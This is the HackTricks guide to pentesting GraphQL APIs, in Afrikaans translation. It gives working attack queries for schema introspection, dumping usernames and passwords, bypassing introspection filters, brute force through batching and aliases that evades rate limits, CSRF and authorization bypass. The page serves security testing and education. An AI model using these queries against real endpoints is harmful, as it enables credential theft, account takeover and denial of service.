hacktricks/network-services-pentesting/pentesting-web/graphql.md

28 KiB

GraphQL

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Inleiding

GraphQL word uitgelig as 'n doeltreffende alternatief vir REST API, wat 'n vereenvoudigde benadering bied vir die ondervraging van data van die agterkant. In teenstelling met REST, wat dikwels verskeie versoekings oor uiteenlopende eindpunte vereis om data te versamel, maak GraphQL dit moontlik om al die benodigde inligting deur 'n enkele versoek op te haal. Hierdie stroomlynproses bied aansienlike voordele vir ontwikkelaars deur die ingewikkeldheid van hul data-opvraagprosesse te verminder.

GraphQL en Sekuriteit

Met die koms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwessies. 'n Belangrike punt om op te let is dat GraphQL nie standaard outentiseringsmeganismes insluit nie. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentisering kan GraphQL eindpunte sensitiewe inligting blootstel aan nie-geoutentiseerde gebruikers, wat 'n beduidende sekuriteitsrisiko inhou.

Gids vir Brute Force Aanvalle en GraphQL

Om blootgestelde GraphQL-instanties te identifiseer, word die insluiting van spesifieke paaie in gids vir brute force aanvalle aanbeveel. Hierdie paaie is:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Die identifisering van oop GraphQL-instanties maak die ondersoek na ondersteunde navrae moontlik. Dit is noodsaaklik om die data wat toeganklik is deur die eindpunt te verstaan. GraphQL se introspeksiesisteem fasiliteer dit deur die navrae wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspeksie: GraphQL: 'n navraagtaal vir API's.

Vingerafdruk

Die instrument graphw00f is in staat om te bepaal watter GraphQL-enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsouditeur.

Universele navrae

Om te kontroleer of 'n URL 'n GraphQL-diens is, kan 'n universele navraag, query{__typename}, gestuur word. As die antwoord {"data": {"__typename": "Query"}} insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode steun op GraphQL se __typename veld, wat die tipe van die ondervraagde objek onthul.

query{__typename}

Basiese Opsomming

Graphql ondersteun gewoonlik GET, POST (x-www-form-urlencoded) en POST(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF aanvalle te voorkom.

Introspeksie

Om introspeksie te gebruik om skemasinligting te ontdek, ondervra die __schema veld. Hierdie veld is beskikbaar op die hooftipe van alle navrae.

query={__schema{types{name,fields{name}}}}

Met hierdie navraag sal jy die name van al die tipes wat gebruik word, vind:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Met hierdie navraag kan jy al die tipes, hul velde, en hul argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te bevraagteken.

Foute

Dit is interessant om te weet of die foute as hulle gewys gaan word, aangesien hulle sal bydra tot nuttige inligting.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Databasis Skema deur Introspeksie

{% hint style="info" %} As introspeksie geaktiveer is, maar die bogenoemde navraag nie uitgevoer word nie, probeer om die onOperation, onFragment, en onField riglyne uit die navraagstruktuur te verwyder. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Inline inspeksie navraag:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Die laaste kode lyn is 'n graphql navraag wat al die meta-inligting van die graphql (voorwerpe name, parameters, tipes...) sal dump.

As introspeksie geaktiveer is, kan jy GraphQL Voyager gebruik om in 'n GUI al die opsies te sien.

Navraag

Nou dat ons weet watter soort inligting binne die databasis gestoor word, laat ons probeer om sekere waardes te onttrek.

In die introspeksie kan jy vind watter voorwerp jy direk kan navraag doen (omdat jy nie 'n voorwerp kan navraag doen net omdat dit bestaan nie). In die volgende afbeelding kan jy sien dat die "queryType" genoem word "Query" en dat een van die velde van die "Query" voorwerp is "flags", wat ook 'n tipe voorwerp is. Daarom kan jy die vlag voorwerp navraag doen.

Let daarop dat die tipe van die navraag "flags" is "Flags", en hierdie voorwerp is gedefinieer as volg:

Jy kan sien dat die "Flags" voorwerpe saamgestel is uit naam en waarde. Dan kan jy al die name en waardes van die vlae kry met die navraag:

query={flags{name, value}}

Merk op dat in die geval waar die voorwerp om te ondervra 'n primitiewe tipe is soos string soos in die volgende voorbeeld

Jy kan dit net ondervra met:

query={hiddenFlags}

In 'n ander voorbeeld waar daar 2 voorwerpe binne die "Query" tipe voorwerp was: "user" en "users".
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kon jy alle inligting daaruit haal deur net te vra vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kon jy die gestoorde gebruikersname en wagwoorde onttrek:

Tog, in hierdie voorbeeld as jy probeer om dit te doen kry jy hierdie fout:

Dit lyk asof dit op een of ander manier sal soek deur die "uid" argument van tipe Int.
Hoe dan ook, ons het reeds geweet dat, in die Basiese Enumerasie afdeling 'n navraag voorgestel was wat al die nodige inligting aan ons getoon het: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

As jy die beeld lees wat verskaf is toe ek daardie navraag hardloop, sal jy sien dat "user" die arg "uid" van tipe Int gehad het.

Dus, deur 'n bietjie ligte uid bruteforce uit te voer, het ek gevind dat in uid=1 'n gebruikersnaam en 'n wagwoord opgehaal is:
query={user(uid:1){user,password}}

Merk op dat ek ontdek het dat ek vir die parameters "user" en "password" kon vra omdat as ek probeer om vir iets te soek wat nie bestaan nie (query={user(uid:1){noExists}}) kry ek hierdie fout:

En gedurende die enumerasie fase het ek ontdek dat die "dbuser" voorwerp veld "user" en "password gehad het.

Navraag string dump truuk (dankie aan @BinaryShadow_)

As jy kan soek volgens 'n string tipe, soos: query={theusers(description: ""){username,password}} en jy soek vir 'n leë string sal dit alle data dump. (Merk op hierdie voorbeeld is nie verwant aan die voorbeeld van die tutoriale nie, vir hierdie voorbeeld aanvaar dat jy kan soek deur "theusers" met 'n String veld genaamd "description").

Soek

In hierdie opstelling bevat 'n databasis persone en flieks. Persone word geïdentifiseer deur hul e-pos en naam; flieks deur hul naam en gradering. Persone kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.

Jy kan persone soek volgens die naam en hul e-posse kry:

{
searchPerson(name: "John Doe") {
email
}
}

Jy kan soek persone volgens hul naam en hul geabonneerde films kry:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Merk op hoe dit aangedui word om die name van die subscribedMovies van die persoon te herwin.

Jy kan ook verskeie objekte op dieselfde tyd soek. In hierdie geval word 'n soektog na 2 flieks gedoen:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Of selfs verhoudings van verskeie verskillende voorwerpe deur middel van aliase:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations word gebruik om veranderinge aan die serverkant te maak.

In die introspeksie kan jy die verklaarde mutasies vind. In die volgende afbeelding word die "MutationType" genoem "Mutation" en die "Mutation" objek bevat die name van die mutasies (soos "addPerson" in hierdie geval):

In hierdie opstelling bevat 'n databasis persone en flieks. Persone word geïdentifiseer deur hul e-pos en naam; flieks deur hul naam en gradering. Persone kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.

'n Mutasie om nuwe flieks binne die databasis te skep kan soos die volgende wees (in hierdie voorbeeld word die mutasie addMovie genoem):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Let daarop hoe beide die waardes en tipe van data in die navraag aangedui word.

Daarbenewens ondersteun die databasis 'n mutasie-operasie, genaamd addPerson, wat die skep van persone saam met hul assosiasies met bestaande vriende en flieks moontlik maak. Dit is noodsaaklik om daarop te let dat die vriende en flieks reeds in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel word.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Direktief Overbelasting

Soos verduidelik in een van die kwesbaarhede beskryf in hierdie verslag, impliseer 'n direktief oorbelasting om 'n direktief selfs miljoene kere te roep om die bediener te laat operasies mors totdat dit moontlik is om dit DoS.

Batching brute force in 1 API-aanvraag

Hierdie inligting is geneem van https://lab.wallarm.com/graphql-batching-attack/.
Outentifisering deur middel van GraphQL API met gelyktydig stuur van baie navrae met verskillende geloofsbriewe om dit te toets. Dit is 'n klassieke brute force-aanval, maar nou is dit moontlik om meer as een login/wagwoordpaar per HTTP-aanvraag te stuur as gevolg van die GraphQL-batchingfunksie. Hierdie benadering sou eksterne koersmoniteringsprogramme laat dink dat alles reg is en dat daar geen brute force-bot is wat wagwoorde probeer raai nie.

Hieronder kan jy die eenvoudigste demonstrasie van 'n aansoekoutentiseringsversoek vind, met 3 verskillende e-pos/wagwoordpare op 'n slag. Dit is vanselfsprekend moontlik om duisende in een enkele versoek op dieselfde manier te stuur:

Soos ons kan sien van die respons-skermkiekie, het die eerste en die derde versoeke null teruggegee en het die ooreenstemmende inligting in die fout afdeling weerspieël. Die tweede mutasie het die korrekte outentiserings-data gehad en die respons het die korrekte outentiseringsessie-token gehad.

GraphQL Sonder Introspeksie

Meer en meer graphql-eindpunte deaktiveer introspeksie. Nietemin is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word genoeg vir gereedskappe soos clairvoyance om die meeste van die skema te herskep.

Verder, die Burp Suite-uitbreiding GraphQuail uitbreiding waarnemings GraphQL API-aanvrae wat deur Burp gaan en bou 'n interne GraphQL skema met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n valse respons wanneer dit 'n introspeksie-navraag ontvang. As gevolg hiervan toon GraphQuail alle navrae, argumente en velde wat beskikbaar is vir gebruik binne die API. Vir meer inligting kyk hierdie.

'n Mooi woordelys om GraphQL-entiteite te ontdek kan hier gevind word.

Om GraphQL introspeksie-verdedigings te omseil

Om beperkings op introspeksie-navrae in API's te omseil, bewys dit effektief om 'n spesiale karakter na die __schema sleutelwoord in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaarsoorsigte in regex-patrone wat daarop gemik is om introspeksie te blok deur te fokus op die __schema sleutelwoord. Deur karakters soos spasies, nuwe lyne, en kommas by te voeg, wat GraphQL ignoreer maar dalk nie in ag geneem word in regex nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie-navraag met 'n nuwe lyn na __schema mag sulke verdedigings omseil:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Indien onsuksesvol, oorweeg alternatiewe versoekmetodes, soos GET-versoeke of POST met x-www-form-urlencoded, aangesien beperkings moontlik slegs op POST-versoeke van toepassing kan wees.

Ontdekking van Blootgestelde GraphQL-Strukture

Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die bronkode van die webwerf te ondersoek vir voorafgelaai queries in JavaScript-biblioteke. Hierdie queries kan gevind word deur die Bronne-tabblad in die ontwikkelaarshulpmiddels te gebruik, wat insig kan gee in die API se skema en moontlik blootgestelde sensitiewe queries kan onthul. Die opdragte om binne die ontwikkelaarshulpmiddels te soek is:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

As jy nie weet wat CSRF is nie, lees die volgende bladsy:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Daar buite sal jy verskeie GraphQL eindpunte vind gekonfigureer sonder CSRF-tokens.

Let daarop dat GraphQL-aanvrae gewoonlik gestuur word via POST-aanvrae met die Inhouds-Tipe application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Echter, die meeste GraphQL eindpunte ondersteun ook form-urlencoded POST-aanvrae:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Daarom, aangesien CSRF-versoeke soos die voriges sonder vooraanvraagversoeke gestuur word, is dit moontlik om veranderinge in die GraphQL te maak deur 'n CSRF te misbruik.

Let egter daarop dat die nuwe verstekkoekiewaarde van die samesite-vlag van Chrome Lax is. Dit beteken dat die koekie slegs van 'n derdeparty-webwerf in GET-versoeke gestuur sal word.

Let daarop dat dit gewoonlik moontlik is om die navraagversoek ook as 'n GET-versoek te stuur en dat die CSRF-token moontlik nie in 'n GET-versoek gevalideer word nie.

Deur 'n XS-Soek aanval te misbruik, kan dit moontlik wees om inhoud van die GraphQL-eindpunt te eksfiltreer deur die gebruikers se geloofsbriewe te misbruik.

Vir meer inligting, sien die oorspronklike plasing hier.

Magtiging in GraphQL

Baie GraphQL-funksies wat op die eindpunt gedefinieer is, mag slegs die outentisering van die versoeker nagaan, maar nie magtiging nie.

Die wysiging van navraaginvoer veranderlikes kan lei tot die uitlek van sensitiewe rekeningbesonderhede.

Mutasi kan selfs lei tot rekeningoornames deur te probeer om ander rekeningdata te wysig.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Omgang met outorisasie in GraphQL

Chaining queries saam kan 'n swak outentifikasie stelsel omseil.

In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword query wat daarmee verband hou, moet uitvoer. Dit kan omseil word deur 'n query aan die einde by te voeg, in hierdie geval voeg ons "register" by en 'n gebruiker veranderlike vir die stelsel om as 'n nuwe gebruiker te registreer.

Omgang met Tariefgrense deur Aliasse in GraphQL te gebruik

In GraphQL is aliase 'n kragtige kenmerk wat die naamgewing van eienskappe eksplisiet toelaat wanneer 'n API versoek gedoen word. Hierdie vermoë is veral nuttig vir die herwinning van meervoudige gevalle van dieselfde tipe van voorwerp binne 'n enkele versoek. Aliase kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL voorwerpe meervoudige eienskappe met dieselfde naam het.

Vir 'n gedetailleerde begrip van GraphQL aliase, word die volgende bron aanbeveel: Aliase.

Terwyl die primêre doel van aliase is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde geval geïdentifiseer waar aliase gebruik kan word om brute force aanvalle op 'n GraphQL eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefgrense wat ontwerp is om brute force aanvalle te stuit deur die aantal HTTP-versoeke te beperk. Hierdie tariefgrense mag egter nie rekening hou met die aantal operasies binne elke versoek nie. Gegewe dat aliase toelaat vir die insluiting van meervoudige navrae in 'n enkele HTTP-versoek, kan hulle sulke tariefgrense maatreëls omseil.

Oorweeg die onderstaande voorbeeld, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkel afslagkodes te verifieer. Hierdie metode kan tariefgrense omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkodes gelyktydig kan toelaat.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Gereedskap

Kwesbaarheidsskandeerders

Kliënte

Outomatiese Toetse

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: